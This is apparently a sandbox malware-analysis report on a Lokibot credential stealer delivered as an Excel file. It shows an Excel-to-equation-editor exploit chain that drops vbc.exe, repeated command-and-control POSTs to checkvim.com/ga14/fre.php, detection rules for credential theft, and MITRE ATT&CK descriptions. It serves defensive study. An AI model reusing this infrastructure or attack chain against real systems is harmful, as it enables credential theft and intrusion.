Sep 28, 2021 06:51:18.836328983 CEST	317	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:19.181425095 CEST	317	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:30 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49237	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49238	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49239	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49240	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49241	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49242	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49243	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49244	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49173	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:37.611742973 CEST	230	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:37.968482971 CEST	230	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:49 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49245	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49246	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.22	49247	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.22	49248	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.22	49249	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.22	49250	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.22	49251	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.22	49252	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.22	49253	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.22	49254	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49174	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:38.271241903 CEST	231	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:38.657721996 CEST	232	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:49 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.22	49255	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.22	49256	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.22	49257	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.22	49258	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.22	49259	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.22	49260	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.22	49261	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.22	49262	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.22	49263	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.22	49264	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2688 Parent PID: 596

General

Start time:	06:50:14
Start date:	28/09/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f0f0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: EQNEDT32.EXE PID: 1484 Parent PID: 596

General

Start time:	06:50:35
Start date:	28/09/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 1268 Parent PID: 1484

General

Start time:	06:50:38
Start date:	28/09/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x400000
File size:	210432 bytes
MD5 hash:	59A67B5CCF01B6A564265797DC5E53E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques.
Tactics:	Collection
Data Sources:	API monitoring, Authentication logs, Packet capture, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Original shipping documents.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Exploits:

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre